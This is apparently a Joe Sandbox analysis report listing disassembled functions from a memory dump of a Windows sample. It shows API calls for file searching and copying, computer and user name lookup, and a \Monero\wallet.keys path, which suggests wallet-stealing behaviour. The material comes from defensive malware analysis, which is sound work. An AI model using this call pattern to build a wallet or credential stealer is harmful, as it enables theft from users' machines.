Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

lstrlen.KERNEL32(00000000), ref: 0028B42E
lstrlen.KERNEL32(00000000), ref: 0028B442

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b5431949dbb9a28be29c0056a0adfd804d72589bb888bfa8b3ff4f5b756511f8
Instruction ID: e02118525d55404d5e13fd23891b0251e647ce15c5f632e26ea39b79aa63291f
Opcode Fuzzy Hash: b5431949dbb9a28be29c0056a0adfd804d72589bb888bfa8b3ff4f5b756511f8
Instruction Fuzzy Hash: 2071EB719302189BDF04FBA0DDA6DEE7378BF54304F404568F506A6191EF346A29CFA6

Function 00294BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00298DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00298E0B

lstrcat.KERNEL32(?,00000000), ref: 00294BEA
lstrcat.KERNEL32(?,00E4D398), ref: 00294C08

Part of subcall function 00294910: wsprintfA.USER32 ref: 0029492C
Part of subcall function 00294910: FindFirstFileA.KERNEL32(?,?), ref: 00294943

Part of subcall function 00294910: StrCmpCA.SHLWAPI(?,002A0FDC), ref: 00294971
Part of subcall function 00294910: StrCmpCA.SHLWAPI(?,002A0FE0), ref: 00294987
Part of subcall function 00294910: FindNextFileA.KERNEL32(000000FF,?), ref: 00294B7D
Part of subcall function 00294910: FindClose.KERNEL32(000000FF), ref: 00294B92

Part of subcall function 00294910: wsprintfA.USER32 ref: 002949B0
Part of subcall function 00294910: StrCmpCA.SHLWAPI(?,002A08D2), ref: 002949C5
Part of subcall function 00294910: wsprintfA.USER32 ref: 002949E2
Part of subcall function 00294910: PathMatchSpecA.SHLWAPI(?,?), ref: 00294A1E
Part of subcall function 00294910: lstrcat.KERNEL32(?,00E4E410), ref: 00294A4A
Part of subcall function 00294910: lstrcat.KERNEL32(?,002A0FF8), ref: 00294A5C
Part of subcall function 00294910: lstrcat.KERNEL32(?,?), ref: 00294A70
Part of subcall function 00294910: lstrcat.KERNEL32(?,002A0FFC), ref: 00294A82
Part of subcall function 00294910: lstrcat.KERNEL32(?,?), ref: 00294A96
Part of subcall function 00294910: CopyFileA.KERNEL32(?,?,00000001), ref: 00294AAC
Part of subcall function 00294910: DeleteFileA.KERNEL32(?), ref: 00294B31

Part of subcall function 00294910: wsprintfA.USER32 ref: 00294A07

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 5db433a233a2f8277cf55b04aa1fcaeccd4f9e6cd31ba8db7db0a225d9051544
Instruction ID: cd719f76d731027042c843722a394249d58bf00b77936e7341322fbfedf187fe
Opcode Fuzzy Hash: 5db433a233a2f8277cf55b04aa1fcaeccd4f9e6cd31ba8db7db0a225d9051544
Instruction Fuzzy Hash: 4F410A7B5102086BDB94F760FC42DEE333CA789300F408518B945961C6ED755BBC8F92

Function 00286660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00286706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00286753

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a01e10c19ad1c6bb89c922e9a402d055b12e0883f94c32fdc01f35dab589a561
Instruction ID: 451d7af2445d7161b96d45853a326c1c17ee967dd34353aa97ed8c80300f73ca
Opcode Fuzzy Hash: a01e10c19ad1c6bb89c922e9a402d055b12e0883f94c32fdc01f35dab589a561
Instruction Fuzzy Hash: DC411E78A11209EFCB44DF58C494BADBBB5FF44314F2482A9E8099B381D735EA91CF84

Function 00295050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00298DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00298E0B

lstrcat.KERNEL32(?,00000000), ref: 0029508A
lstrcat.KERNEL32(?,00E4DBF0), ref: 002950A8

Part of subcall function 00294910: wsprintfA.USER32 ref: 0029492C
Part of subcall function 00294910: FindFirstFileA.KERNEL32(?,?), ref: 00294943

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: ab88a4b00dc85d59ac23e14d229408e91c5890d86577093058cfa4b6226909dd
Instruction ID: ff4c28299dc837669ec3166f5d651706ac304229c1ba2852ee5b9ebd905963c2
Opcode Fuzzy Hash: ab88a4b00dc85d59ac23e14d229408e91c5890d86577093058cfa4b6226909dd
Instruction Fuzzy Hash: D401967691020C67CB54FB70DC87EEE733CAB55300F004594B689961D1EE759AA98FE2

Function 002810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 002810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 002810F7

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c66e374e2169cd858532d4a6bc412e2d15e36ca3e4d9a8595a7fdbd68bffabd2
Instruction ID: 2134f22f4b88fdef81958f73934943eb2ce4d0e7ae1b54583f19dcd4e01c8c29
Opcode Fuzzy Hash: c66e374e2169cd858532d4a6bc412e2d15e36ca3e4d9a8595a7fdbd68bffabd2
Instruction Fuzzy Hash: C7F0E271642208BBEB14ABA4AC49FBAB7ECE705B19F300458F904E32C0D5729E10CBA4

Function 00298D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00281B54,?,?,002A564C,?,?,002A0E1F), ref: 00298D9F

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 61d4a6ec20f8f497921e83c1f13fad575237734e077fe0e7b22d94dc1a302053
Instruction ID: 3bff0e3054588a7cfeb361c3f4695459274c5f74f727045ce9e56a6fcd4a24d2
Opcode Fuzzy Hash: 61d4a6ec20f8f497921e83c1f13fad575237734e077fe0e7b22d94dc1a302053
Instruction Fuzzy Hash: 9FF01571C1020CEBCF00EFA4D5496DCBB74EB11310F108299E826672C0DB749A65DF81

Function 00298DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00298E0B

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 75f5b7bdf60564684be89f3d879f57e3c14b1e774cc3c27a466de776143cb049
Instruction ID: c5fbd0cd0cd0b72cd348af92e170b4b1e03499b431d38ba80b792b670b2bb371
Opcode Fuzzy Hash: 75f5b7bdf60564684be89f3d879f57e3c14b1e774cc3c27a466de776143cb049
Instruction Fuzzy Hash: 9EE01A31A4034C6BEB91EB90CC96FEE737C9B44B01F004295BA0C9A1C0DE70AB958FA1

Function 00281190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 002978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297910
Part of subcall function 002978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00297917
Part of subcall function 002978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0029792F

Part of subcall function 00297850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002811B7), ref: 00297880
Part of subcall function 00297850: RtlAllocateHeap.NTDLL(00000000), ref: 00297887
Part of subcall function 00297850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0029789F

ExitProcess.KERNEL32 ref: 002811C6

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
